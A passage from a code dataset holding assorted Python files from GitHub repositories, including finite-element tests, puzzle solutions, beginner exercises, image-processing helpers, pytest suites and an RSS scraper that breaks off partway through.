np.sum(np.abs(a - b)) == 0, msg\n\n\ndef run_test():\n #meshfile = expanduser(join(mfem_path, 'data', 'semi_circle.mesh'))\n mesh = mfem.Mesh(3, 3, 3, \"TETRAHEDRON\")\n mesh.ReorientTetMesh()\n\n order = 1\n\n dim = mesh.Dimension()\n sdim = mesh.SpaceDimension()\n fec1 = mfem.H1_FECollection(order, dim)\n fespace1 = mfem.FiniteElementSpace(mesh, fec1, 1)\n\n fec2 = mfem.ND_FECollection(order, dim)\n fespace2 = mfem.FiniteElementSpace(mesh, fec2, 1)\n\n print(\"Element order :\", order)\n\n print('Number of H1 finite element unknowns: ' +\n str(fespace1.GetTrueVSize()))\n print('Number of ND finite element unknowns: ' +\n str(fespace2.GetTrueVSize()))\n\n print(\"Checking scalar\")\n\n gf = mfem.GridFunction(fespace1)\n c1 = mfem.NumbaFunction(s_func, sdim).GenerateCoefficient()\n\n @mfem.jit.scalar\n def c11(ptx):\n return s_func0(ptx[0], ptx[1], ptx[2])\n\n @mfem.jit.scalar(td=True, debug=True)\n def c12(ptx, t):\n return s_func0(ptx[0], ptx[1], ptx[2])\n\n c2 = s_coeff()\n\n gf.Assign(0.0)\n start = time.time()\n gf.ProjectCoefficient(c12)\n end = time.time()\n data1 = gf.GetDataArray().copy()\n print(\"Numba time (scalar)\", end - start)\n\n gf.Assign(0.0)\n start = time.time()\n gf.ProjectCoefficient(c2)\n end = time.time()\n data2 = gf.GetDataArray().copy()\n print(\"Python time (scalar)\", end - start)\n\n check(data1, data2, \"scalar coefficient does not agree with original\")\n\n print(\"Checking vector\")\n gf = mfem.GridFunction(fespace2)\n c3 = mfem.VectorNumbaFunction(v_func, sdim, dim).GenerateCoefficient()\n c4 = v_coeff(dim)\n\n @mfem.jit.vector(vdim=3, dependency=(c3, c11), td=True, complex=True)\n def v_func4(ptx, t, c3, c11):\n return np.array([c3[0], c3[1], c3[2]], dtype=np.complex128)\n # @mfem.jit.vector(sdim=3, complex=True)\n # def v_func4(ptx, ):\n # return np.array([ptx[0],ptx[1],ptx[2]], dtype=np.complex128)\n\n gf.Assign(0.0)\n start = time.time()\n for i in range(10):\n gf.ProjectCoefficient(c3)\n end = time.time()\n data1 = gf.GetDataArray().copy()\n print(\"Numba time (vector)\", end - start)\n\n gf.Assign(0.0)\n start = time.time()\n for i in range(10):\n gf.ProjectCoefficient(c4)\n end = time.time()\n data2 = gf.GetDataArray().copy()\n print(\"Python time (vector)\", end - start)\n\n gf.Assign(0.0)\n start = time.time()\n for i in range(10):\n gf.ProjectCoefficient(v_func4.real)\n end = time.time()\n data3 = gf.GetDataArray().copy()\n print(\"Numba2 time (vector)\", end - start)\n\n check(data1, data2, \"vector coefficient does not agree with original\")\n check(data1, data3, \"vector coefficient does not agree with original\")\n\n print(\"speed comparision with C++\")\n\n @mfem.jit.vector(vdim=3, interface=\"c++\", debug=True)\n def v_func4_old(ptx, out):\n out[0] = 1\n out[1] = 2.\n out[2] = 3\n\n @mfem.jit.vector(vdim=3)\n def v_func4_new(ptx):\n return np.array([1, 2, 3.])\n\n gf.Assign(0.0)\n start = time.time()\n for i in range(10):\n gf.ProjectCoefficient(v_func4_old)\n end = time.time()\n data3 = gf.GetDataArray().copy()\n print(\"Numba time (vector) - old interface\", end - start)\n\n gf.Assign(0.0)\n start = time.time()\n for i in range(10):\n gf.ProjectCoefficient(v_func4_new)\n end = time.time()\n data3 = gf.GetDataArray().copy()\n print(\"Numba time (vector) - new interface\", end - start)\n\n val = mfem.Vector([1, 2, 3])\n cc = mfem.VectorConstantCoefficient(val)\n gf.Assign(0.0)\n start = time.time()\n for i in range(10):\n gf.ProjectCoefficient(cc)\n end = time.time()\n data3 = gf.GetDataArray().copy()\n print(\"C++ constant coefficient\", end - start)\n\n print(\"Checking matrix\")\n a1 = mfem.BilinearForm(fespace2)\n a2 = mfem.BilinearForm(fespace2)\n a3 = mfem.BilinearForm(fespace2)\n a4 = mfem.BilinearForm(fespace2)\n a5 = mfem.BilinearForm(fespace2)\n\n c4 = mfem.MatrixNumbaFunction(m_func, sdim, dim).GenerateCoefficient()\n c5 = m_coeff(dim)\n\n a1.AddDomainIntegrator(mfem.VectorFEMassIntegrator(c4))\n a2.AddDomainIntegrator(mfem.VectorFEMassIntegrator(c5))\n a3.AddDomainIntegrator(mfem.VectorFEMassIntegrator(m_func2))\n\n @mfem.jit.matrix(shape=(3,3), dependency=(c4, c4), complex=True, td=True)\n def m_func3(ptx, t, c4, c5):\n ret = np.array([[c5[0, 0], c5[0, 1], c5[0, 2]],\n [0.0, c5[1, 1], c5[1, 2]],\n [0.0, 0.0, c5[2, 2]]])\n return (t/3.0)*ret*1j\n\n @mfem.jit.matrix(shape=(3,3), dependency=(m_func3, c4))\n def m_func4_complex(ptx, m_func3, c5):\n return m_func3.imag\n\n @mfem.jit.matrix(shape=(3,3), dependency=((m_func3.real, m_func3.imag), c4), td=True)\n def m_func4_split(ptx, t, m_func3, c5):\n return m_func3.imag*(t/3.0)\n\n '''\n @mfem.jit.matrix(sdim=3, complex=False, debug=True)\n def m_func5(p):\n x = p[0]\n y = p[1]\n return np.array([[1., 0., 0.], [0., 1., 0.], [0., 0., 1.]])\n '''\n # _out_ =\n # return np.array(_out_)\n\n a4.AddDomainIntegrator(mfem.VectorFEMassIntegrator(m_func4_complex))\n a5.AddDomainIntegrator(mfem.VectorFEMassIntegrator(m_func4_split))\n\n start = time.time()\n a1.Assemble()\n end = time.time()\n a1.Finalize()\n M1 = a1.SpMat()\n\n print(\"Numba time (matrix)\", end - start)\n\n start = time.time()\n a2.Assemble()\n end = time.time()\n a2.Finalize()\n M2 = a2.SpMat()\n print(\"Python time (matrix)\", end - start)\n\n start = time.time()\n a3.Assemble()\n end = time.time()\n a3.Finalize()\n M3 = a3.SpMat()\n nicePrint(\"Numba (simpler interface) (matrix)\", end - start)\n\n start = time.time()\n m_func4_complex.SetTime(3.0)\n a4.Assemble()\n end = time.time()\n a4.Finalize()\n M4 = a4.SpMat()\n nicePrint(\"Numba (complex dependency as complex) (matrix)\", end - start)\n\n start = time.time()\n m_func4_split.SetTime(3.0)\n a5.Assemble()\n end = time.time()\n a5.Finalize()\n M5 = a5.SpMat()\n nicePrint(\"Numba (complex dependency as decomposed) (matrix)\", end - start)\n\n #from mfem.commmon.sparse_utils import sparsemat_to_scipycsr\n #csr1 = sparsemat_to_scipycsr(M1, float)\n #csr2 = sparsemat_to_scipycsr(M2, float)\n\n def compare_mat(M1o, M2o):\n check(M1o.GetDataArray(),\n M2o.GetDataArray(),\n \"matrix coefficient does not agree with original\")\n check(M1o.GetIArray(),\n M2o.GetIArray(),\n \"matrix coefficient does not agree with original\")\n check(M1o.GetJArray(),\n M2o.GetJArray(),\n \"matrix coefficient does not agree with original\")\n\n compare_mat(M1, M2)\n compare_mat(M1, M3)\n compare_mat(M1, M4)\n compare_mat(M1, M5)\n\n # print(m_func3.SpaceDimension())\n nicePrint(\"PASSED\")\n\n\nif __name__ == '__main__':\n run_test()\n","repo_name":"mfem/PyMFEM","sub_path":"test/test_numba.py","file_name":"test_numba.py","file_ext":"py","file_size_in_byte":10236,"program_lang":"python","lang":"en","doc_type":"code","stars":159,"dataset":"github-code","pt":"48"} +{"seq_id":"15120146845","text":"#!python3\n\n'''Day 8, part 1.'''\n\nimport data_8\n\n\ndef find_max(registers):\n '''Find the max register value.'''\n max_value = 0\n for k, v in registers:\n if v > max_value:\n max_value = v\n return max_value\n\n\ndef main():\n '''Main entry point'''\n instructions = data_8.instructions\n registers = data_8.Registers()\n for instruction in instructions:\n registers.update(instruction)\n\n print(registers)\n\n max_value = find_max(registers)\n print(max_value)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"PreludeAndFugue/AdventOfCode","sub_path":"2017/8_1.py","file_name":"8_1.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28206628311","text":"import numpy as np\nimport pandas as pd\nimport general as gen\nimport cv2 as cv\nfrom matplotlib import pyplot as plt\nimport os\nfrom scipy import stats\n\nimport detect_grids_on_array as gdt\n\ndirectory_dict = {'1':'/projects/ps-yeolab3/ecwheele/images/cellraft_Air/20180622_fullscan_1/candidate_wells/',\n '2':'/projects/ps-yeolab3/ecwheele/images/cellraft_Air/20180622_fullscan_2/candidate_wells/',\n '3':'/projects/ps-yeolab3/ecwheele/images/cellraft_Air/20180621_fullscan_3/candidate_wells/',\n '4':'/projects/ps-yeolab3/ecwheele/images/cellraft_Air/20180514/fullscan_4/candidate_wells/',\n '5':'/projects/ps-yeolab3/ecwheele/images/cellraft_Air/20180615_fullscan_5/candidate_wells/',\n '6':'/projects/ps-yeolab3/ecwheele/images/cellraft_Air/20180615_fullscan_6/candidate_wells/',\n '7':'/projects/ps-yeolab3/ecwheele/images/cellraft_Air/20180615_fullscan_7/candidate_wells/',\n '8':'/projects/ps-yeolab3/ecwheele/images/cellraft_Air/20180615_fullscan_8/candidate_wells/',\n '9':'/projects/ps-yeolab3/ecwheele/images/cellraft_Air/20180619_fullscan_9/candidate_wells/',\n '10':'/projects/ps-yeolab3/ecwheele/images/cellraft_Air/20180619_fullscan_10/candidate_wells/',\n '11':'/projects/ps-yeolab3/ecwheele/images/cellraft_Air/20180619_fullscan_11/candidate_wells/',\n '12':'/projects/ps-yeolab3/ecwheele/images/cellraft_Air/20180619_fullscan_12/candidate_wells/',\n 'key_4':'/projects/ps-yeolab3/ecwheele/images/cellraft_Air/20180601_keyence_raft4full/candidate_wells_uncompressed/',\n '4_zoom2offset75':'/projects/ps-yeolab3/ecwheele/images/cellraft_Air/20180612_raft4_zoom2_offset75/candidate_wells/',\n 'spin_test':'/projects/ps-yeolab3/ecwheele/images/cellraft_Air/20180911_pdl_spin_test/candidate_wells/'}\n\n \n\ndef quantify_intensity_per_well(intensity_dict, cutoff=0):\n \"\"\"\n\n :param blue_dict: dict of blue squares\n :param cutoff: cutoff to consider signal with cells\n :return: list of intensity values per square and list of square keys above the cutoff\n \"\"\"\n\n all = []\n wells_with_cells = []\n for key in intensity_dict.keys():\n value = intensity_dict[key].sum().sum()\n all.append(value)\n if value > cutoff:\n wells_with_cells.append(key)\n\n return all, wells_with_cells\n\n\n\n\ndef view_img(well_id, array_num):\n \"\"\"\n Given a individual square file that exists, show the images\n :param img_name:\n :return:\n \"\"\"\n \n img_name = directory_dict[str(array_num)]+str(well_id)\n \n if os.path.isfile(img_name+\"red.tiff\"):\n \n red = cv.imread(img_name+\"red.tiff\")\n blue = cv.imread(img_name+\"blue.tiff\")\n print(os.path.basename(img_name))\n plt.imshow(blue)\n plt.show()\n plt.imshow(red)\n plt.show()\n \n else:\n print(str(well_id)+\"_\"+str(array_num)+\" does not exist\")\n\n\ndef get_y_step(subset_df):\n \"\"\"\n determine the step for making an artificial grid\n :param subset_df: dataframe with min_x, min_y, x, and y groups for one x row\n :return: distance between squares in the row\n \"\"\"\n t = list(subset_df['min_y'])\n differences = [abs(j-i) for i,j in zip(t, t[1:])]\n y_step = stats.mode(differences)[0][0]\n return y_step\n\n\ndef fill_missing_xmin_ymin(df_sorted):\n \"\"\"\n\n :param df_sorted: dataframe with min_x, min_y, x, and y groups\n :return: new dataframe with missing squares (minx and miny values only)\n \"\"\"\n\n subset = df_sorted.loc[df_sorted['x_groups'] == 12]\n\n y_step = get_y_step(subset)\n\n new_rows = []\n\n for group in df_sorted.groupby(by=['x_groups']):\n first_y = min(list(group[1]['y_groups']))\n y_new = first_y\n for row in group[1].iloc[1:].iterrows():\n y = row[1]['y_groups']\n if y == y_new:\n continue\n\n elif y - y_new == 1:\n y_new = y\n continue\n\n else:\n\n num_loops = int(y)-int(y_new)\n\n for num in range(1, num_loops):\n to_multiply = num_loops-num\n new = ['new',row[1]['min_x'], row[1]['min_y']-(y_step*to_multiply),\n row[1]['x_groups'], y_new+1]\n new_rows.append(new)\n y_new = y_new+1\n y_new = y_new+1\n\n new = df_sorted.append(pd.DataFrame(new_rows, columns = df_sorted.columns))\n new = new.sort_values(by=['x_groups','y_groups'])\n return new\n\n\ndef fill_empty_squares_in_array(squares):\n \"\"\"\n\n :param squares: dict of squares\n :return: dataframe with missing squares filled in\n \"\"\"\n df = gdt.make_df_with_square_coords(squares)\n x_rows = gdt.assign_x_in_same_rows(df)\n y_rows = gdt.assign_y_in_same_columns(x_rows)\n df_sorted = y_rows.sort_values(by = ['x_groups','y_groups','min_x','min_y'])\n new = fill_missing_xmin_ymin(df_sorted)\n return new\n\n\ndef add_new_squares_to_dict(squares_dict, df):\n \"\"\"\n\n :param squares_dict: dict of squares to add new ones to\n :param df: dataframe from fill_empty_squares_in_array\n :return:\n \"\"\"\n\n square_id = max(list(filter(lambda x: x!= 'new', list(df['index']))))\n\n to_choose = df.loc[(df['index'] != 'new') &\n ((df['x_groups'] == 12) | (df['x_groups'] == 6)) &\n ((df['y_groups'] == 13) | (df['y_groups'] == 4))]\n to_choose = list(to_choose['index'])[0]\n\n squares_to_make = df.loc[df['index'] == 'new']\n\n to_plot = gdt.get_x_and_y_coords_for_plotting(squares_dict[to_choose])\n x_length = max(to_plot[0]) - min(to_plot[0])\n y_length = max(to_plot[1]) - min(to_plot[1])\n\n\n for row in squares_to_make.iterrows():\n square_id = square_id+1\n min_x = row[1]['min_x']\n min_y = row[1]['min_y']\n\n array = make_square(min_x, min_y, x_length, y_length)\n squares_dict[square_id] = array\n\n return squares_dict\n","repo_name":"ecwheele/CellRaft_screening","sub_path":"process_grids.py","file_name":"process_grids.py","file_ext":"py","file_size_in_byte":6089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36702616651","text":"# Write a program to input a salary from the user and determine how much tax\n# someone should pay according to the following rules:\n# People pay no tax if they earn up to €10,000\n# They pay tax at the rate of 20% on the amount they earn over €10,000 but up\n# to €50,000.\n# They pay tax at 40% on any money they earn over €50,000\n\nsalary = int(input(\"Enter you salary in Euro: \"))\nif salary > 50000:\n tax = (salary-50000)*0.4 + (salary-10000)*0.2\nelif salary > 10000:\n tax = (salary-10000)*0.2\nelse:\n tax = 0\n\n# Converting to an int to remove decimals\ntax = int(tax)\nprint(\"You should pay €\", tax, \"in tax.\")\n","repo_name":"barrysheppard/DBSDataAnalysis","sub_path":"ProgrammingEssentials/Week2_Exercise1/04SalaryTax.py","file_name":"04SalaryTax.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12742802785","text":"#Números primos de 0 a 100\n# a=0\n# for a in range (0, 100):\n# a=a+1\n# div=0\n# for x in range (1, a):\n# resto = a%x\n# # print(x, resto) #outra forma de usar o print\n# if resto == 0:\n# # div=div+1 #pode usar também div+=1 que é como o div++ do C\n# div+=1\n# if div==2:\n# print('O número {} é primo.'.format(a))\n# else:\n# print('O número {} não é primo.'.format(a))\n\n# #Para imprimir apenas os números primos\n# print('Os números primos entre 1 e 100 são: ')\n# for a in range (0, 100):\n# div=0\n# for x in range (1, a+1):\n# resto = a%x\n# # print(x, resto) #outra forma de usar o print\n# if resto == 0:\n# # div=div+1 #pode usar também div+=1 que é como o div++ do C\n# div+=1\n# if div==2:\n# print(a)\n\n#Para imprimir os numeros primos até o número informado pelo usuário\na=int(input('Informe o número '))\nprint('Os números primos de 1 até {} são:'.format(a))\nfor a in range (0, a+1):\n div=0\n for x in range (1, a+1):\n resto = a%x\n # print(x, resto) #outra forma de usar o print\n if resto == 0:\n # div=div+1 #pode usar também div+=1 que é como o div++ do C\n div+=1\n if div==2:\n print(a)\n","repo_name":"sandyluiza/ProjetosPython","sub_path":"aula4-1python.py","file_name":"aula4-1python.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"16147482133","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('locations', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Contributor',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=255)),\n ('email', models.EmailField(max_length=254)),\n ],\n ),\n migrations.CreateModel(\n name='Contribution',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('created', models.DateTimeField(auto_now_add=True)),\n ('observations', models.PositiveIntegerField()),\n ('contributor', models.ForeignKey(to='contributors.Contributor')),\n ('tile', models.ForeignKey(to='locations.Tile')),\n ],\n ),\n migrations.AlterField(\n model_name='contributor',\n name='email',\n field=models.EmailField(unique=True, max_length=254),\n ),\n ]\n","repo_name":"mozilla-services/location-leaderboard","sub_path":"leaderboard/contributors/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"19989915711","text":"from typing import Any, Dict\n\nimport pytest\n\nfrom basket import (Basket, BasketQuantityError, BasketTypeError,\n ProductNotInBasket)\n\n\ndef test_create() -> None:\n \"\"\"\n Test that Basket instances can be initialized.\n \"\"\"\n Basket()\n Basket({})\n Basket({\"a\": 1})\n\n\n@pytest.mark.parametrize(\n \"contents\",\n [{\"a\": \"1\"}, {1: \"a\"}, {\"a\": 1.0}],\n)\ndef test_basket_type_error(contents: Any) -> None:\n \"\"\"\n Test that initializing a Basket with contents that\n have an invalid type raises a BasketTypeError.\n\n Args:\n contents (Any): Contents that have an invalid type.\n \"\"\"\n with pytest.raises(BasketTypeError):\n Basket(contents) # type: ignore\n\n\n@pytest.mark.parametrize(\n \"contents\",\n [{\"a\": 0}, {\"a\": -1}],\n)\ndef test_basket_quantity_error(contents: Dict[str, int]) -> None:\n \"\"\"\n Test that initializing a Basket with contents that\n have invalid quantities raises a BasketQuantityError.\n\n Args:\n contents ([type]): Contents that have invalid quantities.\n \"\"\"\n with pytest.raises(BasketQuantityError):\n Basket(contents) # type: ignore\n\n\ndef test_contains() -> None:\n \"\"\"\n Tests that products in the basket return True to\n the right handside of the 'in' operator.\n \"\"\"\n assert \"a\" in Basket({\"a\": 1})\n assert \"b\" not in Basket({\"a\": 1})\n\n\n@pytest.mark.parametrize(\n \"contents, count\",\n [\n [{}, 0],\n [{\"a\": 1}, 1],\n [{\"a\": 2}, 2],\n [{\"a\": 1, \"b\": 1}, 2],\n ],\n)\ndef test_count(contents: Dict[str, int], count: int) -> None:\n \"\"\"\n Tests that the basket count is the sum of the quantities in the basket.\n\n Args:\n contents (Dict[str, int]): Basket contents.\n count (int): Expected count.\n \"\"\"\n assert Basket(contents).count == count\n\n\ndef test_quantity() -> None:\n \"\"\"\n Tests that the quantity of an item is its quantity in the basket.\n \"\"\"\n assert Basket().quantity(\"a\") == 0\n assert Basket({\"a\": 1}).quantity(\"a\") == 1\n\n\n@pytest.mark.parametrize(\n \"contents, item, result\",\n [\n [{}, \"a\", {\"a\": 1}],\n [{\"a\": 1}, \"a\", {\"a\": 2}],\n [{\"a\": 1}, \"b\", {\"a\": 1, \"b\": 1}],\n ],\n)\ndef test_add(contents: Dict[str, int], item: str, result: Dict[str, int]) -> None:\n \"\"\"\n Tests that you can add items to the basket.\n\n Args:\n contents (Dict[str, int]): Starting basket contents.\n item (str): Product to add to the basket.\n result (Dict[str, int]): Expected basket after adding the product.\n \"\"\"\n basket = Basket(contents)\n basket.add(item)\n assert basket.contents == result\n\n\n@pytest.mark.parametrize(\n \"contents, item, result\",\n [\n [{\"a\": 1}, \"a\", {}],\n [{\"a\": 2}, \"a\", {\"a\": 1}],\n ],\n)\ndef test_remove(contents: Dict[str, int], item: str, result: Dict[str, int]) -> None:\n \"\"\"\n Tests that you can remove items from the basket.\n\n Args:\n contents (Dict[str, int]): Starting basket contents.\n item (str): Product to remove from the basket.\n result (Dict[str, int]): Expected basket after removing the product.\n \"\"\"\n basket = Basket(contents)\n basket.remove(item)\n assert basket.contents == result\n\n\ndef test_product_not_in_basket_error() -> None:\n \"\"\"\n Tests that removing an item not in the basket raises a ProductNotInBasket.\n \"\"\"\n with pytest.raises(ProductNotInBasket):\n Basket().remove(\"a\")\n","repo_name":"JoelLefkowitz/shopping","sub_path":"tests/test_basket.py","file_name":"test_basket.py","file_ext":"py","file_size_in_byte":3435,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"12362116680","text":"# ---------------------- Button -----------------------------------------------------------------------------------------\n# from tkinter import *\n# fenetre = Tk()\n# button = Button(fenetre, text='Cliquez sur moi', width=25, command=fenetre.destroy)\n# button.pack()\n# fenetre.mainloop()\n\n# ---------------------- Canvas ----------------------------------------------------------------------------------------\n# from tkinter import *\n# fenetre = Tk()\n# C = Canvas(fenetre, bg=\"sky blue\", height=250, width=300)\n# coord = 10, 50, 240, 210\n# arc = C.create_arc(coord, start=0, extent=150, fill=\"red\")\n# C.pack()\n# fenetre.mainloop()\n\n# ---------------------- CheckButton -----------------------------------------------------------------------------------\n# from tkinter import *\n#\n# fenetre = Tk()\n# v1 = IntVar()\n# Checkbutton(fenetre, text='Python', width=25, variable=v1).grid(row=0, sticky=S)\n# v2 = IntVar()\n# Checkbutton(fenetre, text='Programmation web', width=25, variable=v2).grid(row=1, sticky=S)\n# v3 = IntVar()\n# Checkbutton(fenetre, text='HTML5 et CSS3', width=25, variable=v3).grid(row=2, sticky=S)\n# v4 = IntVar()\n# Checkbutton(fenetre, text='Javascript', width=25, variable=v4).grid(row=3, sticky=S)\n# v5 = IntVar()\n# Checkbutton(fenetre, text='Bootstrap4', width=25, variable=v5).grid(row=4, sticky=S)\n#\n# fenetre.mainloop()\n\n# ---------------------- Entry -----------------------------------------------------------------------------------------\nfrom tkinter import *\n\n\ndef affiche():\n print(e1.get())\n print(e2.get())\n\n\nfenetre = Tk()\nfenetre.geometry(\"300x200\")\nLabel(fenetre, text='Saisir votre prenom').grid(row=0)\nLabel(fenetre, text='Saisir votre nom').grid(row=1)\ne1 = Entry(fenetre)\ne2 = Entry(fenetre)\ne1.grid(row=0, column=1)\ne2.grid(row=1, column=1)\nbutton = Button(fenetre, text='Validez', width = 10, command=affiche).grid(row=2, column=1)\n\n\nmainloop()","repo_name":"julienPalleau/Tkinter","sub_path":"tkinters/apcpedagogie/exercices.py","file_name":"exercices.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41859548460","text":"from helpers import analytics\nanalytics.monitor()\nfrom itertools import product\n\ndef f(n):\n i = 1\n while True:\n stop = True\n for d in str(n*i):\n if d not in {'0','1','2'}:\n stop = False\n break\n if stop:\n print(n,i,n*i) \n return i\n i += 1\n\ndef main(N):\n total = 0\n k = 0\n digits = ('0','1','2')\n nums = set(range(1,N+1))\n while len(nums) > 20:\n for d in {'1','2'}:\n for c in product(digits,repeat = k):\n s = int(d + ''.join(c))\n remove = set()\n for n in nums:\n if s%n == 0:\n total += s//n\n remove.add(n)\n nums.difference_update(remove)\n k += 1\n print(k,nums)\n for n in nums:\n total += f(n)\n return total\n \nprint(main(10**4), analytics.lap(), analytics.maxMem())","repo_name":"Phyisis/Problems","sub_path":"src/301-400/P303.py","file_name":"P303.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"35076681259","text":"from ipynta.sourcing import DirectorySniffer\r\nfrom ipynta.loaders import PillowLoader\r\nfrom ipynta.predicates import GrayscalePred\r\nfrom os import path\r\nimport pytest\r\n\r\nSAMPLES_DIR = path.dirname(path.dirname(path.abspath(__file__))) + \"/imgs\"\r\n\r\n@pytest.fixture\r\ndef sample_images():\r\n img_list = DirectorySniffer().get_img_paths(SAMPLES_DIR)\r\n\r\n return PillowLoader().load(img_list)\r\n\r\n@pytest.mark.parametrize(\"is_grayscale\", [\r\n (True),\r\n (False)\r\n])\r\ndef test_grayscale_pred_init(is_grayscale):\r\n try:\r\n GrayscalePred(is_grayscale)\r\n except Exception:\r\n pytest.fail(\"GrayscalePred constructor failed\")\r\n\r\n@pytest.mark.parametrize(\"is_grayscale, expected_count\", [\r\n (True, 4),\r\n (False, 2)\r\n])\r\ndef test_grayscale_pred(is_grayscale, expected_count, sample_images):\r\n pred = GrayscalePred(is_grayscale)\r\n actual_count = len(pred.execute(sample_images))\r\n\r\n assert(actual_count == expected_count)\r\n\r\n@pytest.mark.parametrize(\"src_path, expected_count\", [\r\n (f\"{SAMPLES_DIR}/1x1.png\", 1),\r\n (f\"{SAMPLES_DIR}/1x1.jpg\", 1),\r\n (f\"{SAMPLES_DIR}/1x1_red.jpg\", 0),\r\n (f\"{SAMPLES_DIR}/1x1_red.png\", 0),\r\n])\r\ndef test_grayscale_inferencing(src_path, expected_count):\r\n loader = PillowLoader()\r\n img_list = loader.load([src_path])\r\n\r\n pred = GrayscalePred(is_grayscale=True)\r\n matched_img_list = pred.execute(img_list)\r\n match_count = len(matched_img_list)\r\n\r\n assert(match_count == expected_count)","repo_name":"allanchua101/ipynta","sub_path":"src/tests/predicates/test_grayscale.py","file_name":"test_grayscale.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"73971075346","text":"n=int(input())\nresult=[]\ngraph=[[0]*101 for _ in range(101)]\narray=[]\ndef paint(g):\n global array\n for c in range(g):\n far=array[-1]\n temp=[]\n for a,b in array[::-1]:\n if (a,b)==far:\n continue\n xx=far[0]-a\n yy=far[1]-b\n nx,ny=far[0],far[1]\n #위->오\n if xx>0:\n ny+=abs(xx)\n #아래->왼\n elif xx<0:\n ny-=abs(xx)\n #왼->위\n if yy>0:\n nx-=abs(yy)\n #오른->아래\n elif yy<0:\n nx+=abs(yy)\n if not 0<=nx<101 or not 0<=ny<101:\n continue\n temp.append((nx,ny))\n for i in temp:\n if not i in array:\n array.append(i)\n return array\n\n\nfor i in range(n):\n array=[]\n y,x,d,g=map(int,input().split())\n if d==0:\n nx,ny=x,y+1\n elif d==1:\n nx,ny=x-1,y\n elif d==2:\n nx,ny=x,y-1\n elif d==3:\n nx,ny=x+1,y\n if not 0<=nx<101 or not 0<=ny<101:\n continue\n array.append((x,y))\n array.append((nx,ny))\n arr=paint(g)\n for j in arr:\n if not j in result:\n result.append(j)\n graph[j[0]][j[1]]=1\ncount=0\nfor i in range(100):\n for j in range(100):\n if graph[i][j]==graph[i+1][j]==graph[i][j+1]==graph[i+1][j+1]==1:\n count+=1\nprint(count)","repo_name":"Yoo-sumi/Programmers","sub_path":"백준/삼성 SW 역량 테스트 기출 문제/15685.py","file_name":"15685.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38023960929","text":"import re\n\nfrom django.conf import settings\nfrom django.utils.html import strip_tags\n\nimport feedparser\nfrom pyquery import PyQuery as pq\n\nfrom core import client\nfrom core import extractor\nfrom core.extractor import safe_element as selm\n\n\nwptn = re.compile(r'\\w')\nfeedparser.USER_AGENT = settings.USER_AGENT['chrome'] # Force assign(patch)\n\n\nclass Scrape(object):\n def __init__(self, url):\n self.url = url\n self._feed = None\n self._rq = client.html\n\n def __repr__(self):\n return str(self._feed)\n\n @property\n def feed(self):\n if self._feed is None:\n self._feed = feedparser.parse(self.url)\n return self._feed\n\n @property\n def ok(self):\n return selm(self.feed, 'bozo') == 0\n\n def host(self):\n f = selm(self.feed, 'feed')\n s = selm(f, 'link')\n return s and strip_tags(s.strip())\n\n def title(self):\n f = selm(self.feed, 'feed')\n s = selm(f, 'title')\n\n if not wptn.match(s):\n doc = pq(self._rq(selm(f, 'link')) or None)\n s = doc('title').text()\n\n return s and strip_tags(s.strip())\n\n def explain(self):\n return self.description()\n\n def description(self):\n f = selm(self.feed, 'feed')\n s = selm(f, 'subtitle')\n\n if not wptn.match(s):\n doc = pq(self._rq(selm(f, 'link')) or None)\n s = doc('meta[name=\"description\"]').attr('content')\n\n return s and strip_tags(s.strip())\n\n def image(self):\n # TODO: Fuzzy get the contains images from html using\n # pyquery when if not exists.\n #\n # some pattern\n return\n\n def entries(self):\n return selm(self.feed, 'entries')\n\n def items(self, num=10):\n items = []\n for i, e in enumerate(self.entries()):\n if i > num:\n break\n\n items.append(Item(e))\n return items\n\n def item_urls(self, num=10):\n return [i.url for i in self.items(10)]\n\n\nclass Item(object):\n\n def __init__(self, item):\n self.item = item\n self._rq = client.html\n\n def __repr__(self):\n return str(self.item)\n\n @property\n def ok(self):\n return bool(self._rq(self.url))\n\n @property\n def url(self):\n return self.item.get('id', self.item.get('link'))\n\n def title(self):\n s = selm(self.item, 'title')\n if not wptn.match(s):\n doc = pq(self._rq(self.url) or None)\n s = doc('title').text()\n\n return s and strip_tags(s.strip())\n\n def explain(self):\n return self.description()\n\n def description(self):\n s = selm(self.item, 'summary')\n if not wptn.match(s):\n doc = pq(self._rq(self.url) or None)\n s = doc('meta[name=\"description\"]').attr('content')\n\n return s and strip_tags(s.strip())\n\n def tags(self):\n t = selm(self.item, 'tags')\n t = t and [selm(s['term']) for s in t]\n\n if not t:\n doc = pq(self._rq(self.url) or None)\n t = doc('meta[name=\"keywords\"]').attr('content')\n t = t and t.split(',')\n\n return t\n\n def images(self):\n \"\"\"\n - links: [{'href': 'http://example.com.jpg', 'rel': 'enclosure'}]\n - media_content: [{'url': 'http://example.com.jpg'}],\n - image_item: 